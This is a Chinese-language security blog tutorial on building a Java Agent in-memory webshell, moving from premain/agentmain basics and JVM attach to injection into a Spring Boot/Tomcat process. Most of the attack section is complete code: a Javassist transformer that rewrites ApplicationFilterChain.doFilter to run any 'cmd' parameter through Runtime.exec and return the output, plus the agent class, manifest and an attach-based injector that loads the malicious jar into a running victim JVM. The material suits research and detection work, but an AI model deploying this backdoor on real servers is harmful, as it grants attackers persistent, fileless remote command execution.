Java内存马-Agent内存马分析与实现

Java安全

Java Agent简介

JDK1.5以后引入了 java.lang.instrument 包,该包常用于日志记录、性能监控、安全监察、诊断等场景,Java Agent可以在不影响正常编译的情况下来修改字节码

使用Java Agent需要编写一个代理类和一个代理配置文件(META-INF/MANIFEST.MF),并将其打包为一个JAR文件。然后,在启动Java应用程序时,通过-javaagent参数指定代理JAR文件的路径,Java虚拟机(JVM)将会加载并运行代理

Java Agent也是一个Java类,普通类的入口函数通常是 main 方法,而Java Agent的入口函数为 premainagentmain 方法

Java Agent支持两种加载方式:

  1. premain 方法,在启动时加载
  2. agentmain 方法,在启动后加载

启动时加载

启动时加载agent,需要实现premain方法,还需要在jar文件清单中包含 Premain-Class 属性

编写一个实现premain方法的类

import java.lang.instrument.Instrumentation;

public class Agent_Premain {
    public static void premain(String args,Instrumentation inst){
        System.out.println(args);
        System.out.println("Agent Premain执行...");
    }
}

还需要编写 MANIFEST JAR文件清单,这里保存为 Agent.MF 文件,文件最后需要有一行空行

Manifest-Version: 1.0
Premain-Class: Agent_Premain

编译Agent_Premain类为class文件

javac Agent_Premain.java

打包成jar文件

jar cvfm Agent.jar Agent.MF Agent_Premain.class

执行完后即可生成Agent.jar文件

再生成一个普通的类

public class Test {
    public static void main(String[] args) {
        System.out.println("Test main()...");
    }
}

再写一个JAR文件清单

Manifest-Version: 1.0
Main-Class: Test

再进行编译和打包成JAR文件

javac Test.java
jar cvfm Test.jar Test.MF Test.class

我们运行Test.jar文件时,在前缀加上 -javaagent 参数加载 Agent.jartest1 为Agent.jar文件入口函数premain的参数

image-20230914151759092

运行之后可以发现Agent.jar文件先被执行了

启动后加载

VirtualMachine

VirtualMachine类是Java虚拟机的一个抽象表示,它提供了与虚拟机相关的操作和属性的访问方法,主要用于与Java虚拟机进行交互和管理,通常用于开发调试工具和性能分析工具

该类我们主要会使用以下方法:

// 远程连接到指定PID的JVM
VirtualMachine.attach()
// 给JVM加载指定Agent
VirtualMachine.loadAgent()
// 获取所有的JVM列表
VirtualMachine.list()
// 关闭与JVM的连接
VirtualMachine.detach()

VirtualMachineDescriptor

VirtualMachineDescriptor类是描述Java虚拟机实例的信息的类,它提供了一些方法来获取虚拟机的标识、名称、虚拟机参数等信息

agentmain示例

import static java.lang.Thread.sleep;

public class VirtualMachine_Test {
    public static void main(String[] args) throws InterruptedException {
        while(true){
            System.out.println("VirtualMachine_Test...");
            sleep(5000);
        }
    }
}

编写一个普通类,用于模拟程序运行

import java.lang.instrument.Instrumentation;

import static java.lang.Thread.sleep;

public class VirtualMachine_Agent {
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
        while(true){
            System.out.println("Inject_Agent...");
            sleep(3000);
        }
    }
}
Manifest-Version: 1.0
Agent-Class: VirtualMachine_Agent
javac VirtualMachine_Agent.java
jar cvfm VirtualMachine_Agent.jar VirtualMachine_Agent.MF VirtualMachine_Agent.class

编写实现agentmain方法的类,并配置JAR文件清单,生成class文件和生成JAR文件

import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;

public class Inject_Agent {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor vm : list){
            // 寻找指定名称的JVM
            if (vm.displayName().equals("VirtualMachine_Test")) {
                // 连接指定ID的JVM
                VirtualMachine attach = VirtualMachine.attach(vm.id());
                // 加载Agent
                attach.loadAgent("/Users/wiley/IdeaProjects/JavaAgentMemShell/src/main/java/VirtualMachine_Agent.jar");
                // 关闭JVM连接
                attach.detach();
            }
        }
    }
}

编写一个用于连接名称为 VirtualMachine_Test 的JVM,加载指定的Agent

image-20230914165046460

当我们运行 VirtualMachine_Test 类后,再运行 Inject_Agent 类,可以发现我们的自定义Agent已经成功被加载

动态修改字节码

Instrumentation

Instrumentation是JVMTIAgent(JVM Tool Interface Agent),用于在运行时修改、监控和分析Java应用程序的字节码,它允许开发人员在应用程序启动之前或在运行时对字节码进行转换和增强

Instrumentation是一个接口,其主要方法如下:

// 添加一个Class文件的转换器,转换器用于改变Class二进制流的数据,第二个参数为是否允许重新转换
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
void addTransformer(ClassFileTransformer transformer);

// 删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);

// 重新定义Class
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

// 判断一个类是否可被修改
boolean isModifiableClass(Class<?> theClass);

// 获取目标已经加载的类
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

// 获取一个对象的大小
long getObjectSize(Object objectToSize);

ClassFileTransformer

public interface ClassFileTransformer {
    byte[]
    transform(  ClassLoader         loader,
                String              className,
                Class<?>            classBeingRedefined,
                ProtectionDomain    protectionDomain,
                byte[]              classfileBuffer)
        throws IllegalClassFormatException;
}

ClassFileTransformer是一个接口,它只有一个 transform() 方法,该方法返回字节数组,用于在类加载期间对字节码进行转换,可以在类加载过程中修改类的字节码,以实现各种目的,如增加、删除或修改类的方法、字段等

addTransformer

addTransformer() 方法注册一个转换器,编写 ClassFileTransformer 接口自定义类注册自定义的转换器,在该转换器中加载恶意的代码,当类加载时,就会自动调用自定义的转换器的 transform 方法

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class DefineTransform implements ClassFileTransformer {
    public static final String applicationFilterChain = "org.apache.catalina.core.ApplicationFilterChain";
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        className = className.replace("/", ".");
        if (className.equals(applicationFilterChain)){
            try{
                ClassPool classPool = ClassPool.getDefault();
                CtClass ctClass = classPool.get(applicationFilterChain);
                CtMethod internalDoFilter = ctClass.getDeclaredMethod("internalDoFilter");
                internalDoFilter.insertBefore("HttpServletRequest req = (HttpServletRequest) servletRequest;String cmd = req.getParameter(\"cmd\");if (cmd != null){Runtime.getRuntime().exec(cmd);}");
                byte[] bytecode = ctClass.toBytecode();
                ctClass.detach();
                return bytecode;
            }catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

getAllLoadedClasses

getAllLoadedClasses 方法可以列出所有已加载的Class

Class[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class allLoadedClass : allLoadedClasses) {
    System.out.println(allLoadedClass.getName());
}

retransformClasses

retransformClasses 方法可以对已加载的Class重新定义,若目标类已经加载,调用该函数可以重新触发转换器的拦截,对目标类重新定义

Class [] classes = inst.getAllLoadedClasses();
for(Class cls : classes){
    if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
        inst.addTransformer(new Hello_Transform(),true);
        inst.retransformClasses(cls);
    }
}

Agent内存马

这里我们准备的环境是SpringBoot,模拟在SpringBoot环境下,注入Agent内存马

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class DefineTransform implements ClassFileTransformer {
    public static final String applicationFilterChain = "org.apache.catalina.core.ApplicationFilterChain";

    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace("/",".");
        if (className.equals(applicationFilterChain)){
            ClassPool pool = ClassPool.getDefault();
            try {
                CtClass c = pool.getCtClass(className);
                CtMethod m = c.getDeclaredMethod("doFilter");
                m.insertBefore("jakarta.servlet.http.HttpServletRequest req =  request;\n" +
                        "jakarta.servlet.http.HttpServletResponse res = response;\n" +
                        "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null){\n" +
                        "    try {\n" +
                        "        java.io.InputStream in = java.lang.Runtime.getRuntime().exec(cmd).getInputStream();" +
                        "\n" +
                        "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        String line;\n" +
                        "        StringBuilder sb = new StringBuilder(\"\");\n" +
                        "        while ((line=reader.readLine()) != null){\n" +
                        "            sb.append(line).append(\"\\n\");\n" +
                        "        }\n" +
                        "        response.getOutputStream().print(sb.toString());\n" +
                        "        response.getOutputStream().flush();\n" +
                        "        response.getOutputStream().close();\n" +
                        "    } catch (Exception e){\n" +
                        "        e.printStackTrace();\n" +
                        "    }\n" +
                        "}");
                byte[] bytes = c.toBytecode();
                c.detach();
                return bytes;
            } catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

先写一个转换器,对 ApplicationFilterChain 类的 doFilter 方法进行添加恶意代码

import java.lang.instrument.Instrumentation;

public class AgentMain {
    public static final String applicationFilterChain = "org.apache.catalina.core.ApplicationFilterChain";
    public static void agentmain(String args, Instrumentation inst) {
        inst.addTransformer(new DefineTransform(),true);
        Class[] allLoadedClasses = inst.getAllLoadedClasses();
        for (Class allLoadedClass : allLoadedClasses) {
            if (allLoadedClasses.equals(applicationFilterChain)) {
                try {
                    inst.retransformClasses(new Class[]{allLoadedClass});
                }catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
    }
}

这里,我们就使用 agentmain 方法,用于启动后加载Agent场景,在该方法中主要是寻找我们修改的 ApplicationFilterChain 类,触发我们上面写的转换器 transform 方法

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentMain

编写一下 MANIFEST.MF 文件

image-20230920164226906

toolsjavassist 依赖一并打包

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor virtualMachineDescriptor : list) {
            if (virtualMachineDescriptor.displayName().equals("org.studyspringboot.StudyspringbootApplication")) {
                VirtualMachine attach = VirtualMachine.attach(virtualMachineDescriptor.id());
                attach.loadAgent("/Users/wiley/Desktop/AgentMain.jar");
                attach.detach();
            }
        }
    }
}

使用 VirtualMachine 来加载Agent,这个类主要是模拟将 AgentMain.jarInject_Agent 类文件上传到受害者服务端,运行 Inject_Agent 程序寻找SpringBoot的程序连接到该程序的JVM,进行加载恶意Agent

image-20230920170721999

image-20230920170751288

模拟环境中,启动SpringBoot为真实的受害者服务端,运行 Inject_Agent 程序来进行注入Agent,没有出现报错说明成功注入了

image-20230920171847143

访问任意路径,加上cmd参数即可执行任意命令

Author: wileysec

Permalink: https://wileysec.github.io/c92b2696b98a.html

Comments